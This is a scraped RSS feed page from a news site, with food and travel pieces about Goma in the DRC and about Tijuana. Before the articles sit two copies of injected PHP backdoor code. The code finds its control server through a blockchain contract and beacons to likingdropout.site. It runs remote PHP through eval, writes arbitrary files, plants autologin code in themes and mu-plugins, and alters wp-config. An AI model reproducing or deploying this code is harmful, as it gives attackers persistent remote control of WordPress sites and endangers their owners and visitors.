// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); foodie – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Sun, 05 Aug 2018 07:32:22 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.6 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png foodie – Brief News https://briefnews.eu 32 32 The Surprise Foodie Hub in the DRC https://briefnews.eu/the-surprise-foodie-hub-in-the-drc/ https://briefnews.eu/the-surprise-foodie-hub-in-the-drc/#respond Sun, 05 Aug 2018 07:32:22 +0000 http://briefnews.eu/the-surprise-foodie-hub-in-the-drc/

There’s meat everywhere in energetic Goma — whether roasted on the side of the road, boiled in fragrant soups or served in fine-dining restaurants. The bustling town, situated alongside peaceful Lake Kivu, is crowded with weaving motorcycles, street artists and dusty U.N. vehicles, but its best-kept secret? The food.

Though rarely synonymous with foodie culture, Goma, an eastern city in the Democratic Republic of Congo, is a simmering hub of creative cuisine. Previously sidelined by political dictatorships, violent militias and even volcanic eruptions from neighboring Mount Nyiragongo, the city has witnessed a recent — although somewhat volatile — stability that has helped encourage and support a blossoming restaurant scene. With that, its growing and diverse population has influenced the food, from flavorful street eats to artisanal markets, and from lively bars to candlelit meals.

“Where Goma really shines is in grilling,” says Moise Miteo, owner of Castel Club, an eatery known for its whole grilled rabbit and brochettes. And the meat here is fresh: Rabbits are slaughtered and cooked on-site, bringing new meaning to the phrase “farm to table.” Here, food is prepared in a dimly lit shed to the left of the entrance, while patrons move back and forth between the casual open restaurant to the buzzing nightclub (which is, in classic Goma style, pumping music all days of the week).

Chefs are slowly bringing traditional recipes out of the home and giving them a makeover.

Chefs are slowly bringing traditional recipes out of the home and giving them a makeover — from stews, soups and sauces to fufu, beans, sombe, plantains and cassava. “We’re starting to experiment with spices, marinades and different vegetable flavors — we like to change it up,” notes Miteo. The result? Something different that still tastes like home.

Salt and Pepper, a hole-in-the-wall Indian restaurant, is beloved by expats. My favorite dishes include the paneer khalimurj (a paneer cooked in black pepper sauce), fish tikka with local lake fish and manchurian, an Indo-Chinese fried vegetable dumpling that originated in Bihar state of northeast India. And it’s affordable: A full meal rarely reaches $ 10.

On the more upscale side, Lac Kivu Lodge, situated on the shores of the lake in a quiet neighborhood of the city, offers French classics with a Congolese twist. Popular menu items include roast duck with a passion fruit and mango coulis, homemade tagliatelle pasta arrabiata — and the grilled meat dishes, of course. Meals are served in view of the sparkling blue lake, with candlelight and white linens.

But it’s the street eats in and around Virunga Market that provide much of Goma’s flavor. Samosa, chapati and brochette stands serve up cheap snacks (less than $ 1) to hungry workers and shopkeepers in town. “This is my favorite samosa stand,” declares Goma resident Jean Zilirwa, pointing to a small stall near the Virunga Market. He says it has the crispiest potato-, rice- and meat-filled samosas, topped with a killer homemade chili sauce.

Hot sauce is serious business in Goma. As I fanned my tongue after trying Kasheke, a small brand based in Goma, on my chips, two laughing women a few feet away directed me toward their nearby fruit stand with a sign that read Safi, which is Swahili for “good” or “fresh.” As I chowed down on sliced mangoes sprinkled with lime juice, the burn finally ebbed away.

What doesn’t ebb away after days of eating your way through Goma? Memories of this vibrant city’s modern take on its traditional cuisines: tasty, spicy, colorful, succulent and everything in between. Or that feeling of beautiful fullness, with the lively market in front, the tranquil lake behind and the busy streets just a few steps away.

Go There: Eat Your Way Through Goma

  • Central African Butchery (CAB): Go for the fresh pili-pili sausages.
  • The Au Bon Pain bakery serves up croissants and fresh baguettes.
  • Petit Paris is known for its fish brochettes and whole grilled fish.
  • Le Petite Chalet serves lighter bites like salads, juices and bagels. Try the homemade yogurt and granola.

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]]> https://briefnews.eu/the-surprise-foodie-hub-in-the-drc/feed/ 0 An AvGeek Taught a Foodie About Planes. Weird Things Happened. https://briefnews.eu/an-avgeek-taught-a-foodie-about-planes-weird-things-happened/ https://briefnews.eu/an-avgeek-taught-a-foodie-about-planes-weird-things-happened/#respond Wed, 07 Mar 2018 04:24:27 +0000 http://briefnews.eu/an-avgeek-taught-a-foodie-about-planes-weird-things-happened/

An AvGeek Taught a Foodie About Planes. It Was Weird.

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]]> https://briefnews.eu/an-avgeek-taught-a-foodie-about-planes-weird-things-happened/feed/ 0 How to Cash in Marriott Points for Foodie Experiences Around the Globe https://briefnews.eu/how-to-cash-in-marriott-points-for-foodie-experiences-around-the-globe/ https://briefnews.eu/how-to-cash-in-marriott-points-for-foodie-experiences-around-the-globe/#respond Wed, 08 Nov 2017 00:34:51 +0000 http://briefnews.eu/how-to-cash-in-marriott-points-for-foodie-experiences-around-the-globe/

Use Marriott Points for Foodie Experiences Around the Globe

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Editorial Note: Opinions expressed here are author’s alone, not those of any bank, credit card issuer, airlines or hotel chain, and have not been reviewed, approved or otherwise endorsed by any of these entities.

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]]> https://briefnews.eu/how-to-cash-in-marriott-points-for-foodie-experiences-around-the-globe/feed/ 0 How did Tijuana become Mexico’s go-to foodie city? https://briefnews.eu/how-did-tijuana-become-mexicos-go-to-foodie-city/ https://briefnews.eu/how-did-tijuana-become-mexicos-go-to-foodie-city/#respond Wed, 25 Oct 2017 19:16:00 +0000 http://briefnews.eu/how-did-tijuana-become-mexicos-go-to-foodie-city/
Eileen Guo


Eileen Guo October 25, 2017

Drug wars weren’t the only thing to take their toll on the border town of Tijuana—but next-generation entrepreneurs who left are now returning to create Mexico’s new foodie mecca.

“Seriously, where are the fish tacos?”

It’s 4pm on a Friday afternoon at the end of July, and we’re wrapping up on our tour of social businesses in Tijuana, Mexico. It’s the second annual ‘Startup Crawl’, which brings together 65 entrepreneurs, investors and other interested parties, mostly from Southern California, to the largest border city on the US-Mexico border.

The tour was meant to highlight entrepreneurship and social innovation in Tijuana, which, as everyone had been telling me during my two weeks in Baja California, is “taking off.” And today, I wanted to see it for myself.

We had visited tech start-ups, art spaces, and a call center that employs a handful of deportees. But we also visited several food and drink start-ups in a city increasingly known for its food scene. Given that tacos are (for better or worse) Mexico’s most famous culinary export to its northern neighbor—and the fish-filled variety originate in Baja—the question about fish tacos felt like a legitimate one.

As if to prove his point, our conversation was frequently interrupted as Gamboa greeted his clients. It seemed like all of Tijuana’s young movers and shakers were parading past to try out the new location: Artists and entrepreneurs, up-and-coming chefs, even policymakers. That, he added, was also part of the magic of Telefonica: That anyone could bond over the casual street food on offer.

In between the (welcome) interruptions, Gamboa told me that the drug violence of 2007-2008 had, indirectly at least, actually helped fuel the growth of Tijuana’s food scene. In the absence of tourists, he says, “We made this”—he nodded towards his growing food empire—“for Tijuanenses.”

RELATED: From Trumplandia to Tacolandia

Lack of tourists had already been a problem. September 11th had literally shut down the border, and in the years that followed, just as tourist numbers began creeping back up, the global financial crisis and the drug violence hit Tijuana—sending those numbers plummeting again.

But during that period of crisis, a new regional cuisine developed.

Food was not a focal point during this time—understandably—and the few upscale restaurants offered international, rather than Mexican, fare. The most notable of these was Caesar’s, the birthplace of the original Caesar Salad, which even pioneering American chef and author Julia Child sampled during her childhood visit.

Today, the restaurant and the namesake salad are still open and available, in the same spot on Revolución. Now the same street is also home to Tijuana’s new breed of enterprises, such as Cine Tonalá Tijuana, a restaurant, cocktail bar, and art-house theater, a go-to hangout for the city’s culture kids.

The real turning point for local cuisine came in the early 2000s, when drastically decreased tourist numbers combined with a slew of Tijuanense chefs experimenting with a new cuisine. One that drew from Baja California’s temperate, Mediterranean-like climate, location on the Pacific Ocean, and history of welcoming migrants, including the Chinese.

RELATED: The resurgence of Canada’s First Nations cuisine

Miguel Ángel Guerrero was one of the founders of this new movement, which he called “Baja Med” —in fact, he trademarked the term in 2013. Drawing on the unique characteristics of Tijuana and Baja California, Baja Med is a fusion of Mexican, Mediterranean, and Asian. It put Tijuana on culinary maps, and gave pride and identity to a city that had lacked both.

His own restaurant, La Querencia which opened in 2001, is characteristic of Baja Med cooking: Unique flavors and fresh local ingredients, with everything sourced from within Baja California. Try the carpaccios (options include scallop, beet, salmon, and squash) and the octopus, especially the Pulpo Querencia, a simple, delicious octopus tostada.

Another example is Mision 19, the fine-dining establishment of local celebrity chef and the other face of Baja Med, Javier Placencia. He combines locally sourced ingredients—from within a three-hour radius of the restaurant—with the latest culinary techniques, like molecular cooking and sous vide. Try the seasonal tasting menu or if you opt for à la carte, order the signature scallop parfait.

And if you really just want a fish taco, La Corriente Cevicheria Nais has possibly the best fish in Tijuana. This kitschy restaurant just off of the main drag of Avenida Revolución is famous for its red snapper tostada and ‘Taco Kalifornia,’ a shrimp taco with hot Anaheim chilli peppers.

Back at Telefonica Gastro Park, a more casual inheritor of the Baja Med tradition, and the pride it brings, Antonio Gamboa summed up his city’s cuisine: “I’m a native of Tijuana, and I admit that it’s not the prettiest place—but now, people come here to eat.”

